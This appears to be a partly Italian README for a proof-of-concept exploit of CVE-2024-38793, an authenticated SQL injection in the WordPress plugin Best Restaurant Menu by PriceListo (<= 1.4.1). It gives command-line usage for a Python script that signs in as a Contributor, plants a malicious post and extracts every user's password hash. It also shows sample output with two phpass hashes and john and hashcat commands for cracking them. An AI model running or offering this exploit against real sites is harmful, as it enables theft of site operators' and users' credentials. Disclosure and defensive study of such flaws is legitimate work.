
Codice Proof of Concept per lo sfruttamento di CVE-2024-38793 (Best Restaurant Menu by PriceListo <= 1.4.1 - SQL Injection autenticata (Contributor+))
Codice di prova di concetto per lo sfruttamento di CVE-2024-38793 (Best Restaurant Menu by PriceListo <= 1.4.1 - SQL Injection autenticata (Contributor+)).
Questa è una prova di concetto per lo sfruttamento della vulnerabilità CVE-2024-38793, una vulnerabilità di SQL injection presente nelle versioni del plugin WordPress Best Restaurant Menu a.k.a Great Restaurant Menu WP precedenti alla 1.4.2.
La vulnerabilità si verifica a causa della mancanza di sanitizzazione dell'input sull'argomento groups quando si utilizza lo shortcode brm_restaurant_menu.
Nota: sono necessarie le credenziali di un utente con privilegi almeno di livello Contributor.
Il codice tenterà di recuperare gli username e gli hash delle password dalla tabella degli utenti di WordPress.
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
usage: CVE-2024-38793.py [-h] -t TARGET -u USERNAME -p PASSWORD [--proxy PROXY] [-o OUTFILE]
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password
CVE-2024-38793 Exploit (Best Restaurant Menu by PriceListo Version <= 1.4.1) PoC
Requires Contributor+ Privileges on a WordPress instance with the plugin installed
Credit: @ret2desync
Will attempt to create a new post, exploit the vulnerability and extract all users usernames and password hashes
Example usage:
python3 CVE-2024-38793.py -t "http://127.0.0.1/wordpress/" -u contributor -p password --proxy "http://127.0.0.1:8080"
[*] Successfully signed in to Wordpress using contributor password
[*] Successfully created new post, id: 219
[*] Successfully saved new post with exploit, post id: 219
[*] Successfully grabbed usernames and password hashes
[*] Found 2 sets of credentials
[*** Credentials ***]
root:$P$BG.b.gHI.byee9PWs8GspKxY9qp0Cm0
contributor:$P$BBVRINbQUo28Tpbp3H7/iITT/Eo9aR0
[*] Crack hashes with:
john <hashes_file> --wordlist=<wordlist>
hashcat -m 400 -a 0 --username <hashes_file> <wordlist>
[*] Exploit completed successfully